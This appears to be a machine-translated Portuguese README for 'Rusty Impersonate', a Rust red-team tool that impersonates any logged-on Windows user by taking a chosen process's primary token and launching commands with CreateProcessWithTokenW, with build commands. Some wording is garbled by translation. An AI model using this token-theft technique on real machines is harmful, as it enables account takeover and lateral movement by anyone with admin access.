Rusty Impersonate
💡 O IRS é uma versão de biblioteca do https://github.com/zblurx/impersonate-rs, de zblurx
Reimplementação do Defte Impersonate em Rust puro. Para mais informações sobre ele, veja este post do blog.
A abordagem de representação de token é um pouco diferente da abordagem do Defte Impersonate: aqui você precisa selecionar um PID cujo Token Primário você deseja representar; em seguida, o irs.exe fará:
CreateProcessWithTokenW e enviar o resultado para o named pipeEssa abordagem permitirá que você represente qualquer usuário no computador de destino, desde que tenha privilégios de administrador (sem necessidade de NT SYSTEM) e é utilizável com e sem GUI.
# Build it from docker
git clone https://github.com/zblurx/impersonate-rs
cd impersonate-rs
make release
# Or from cargo in your host
make windows
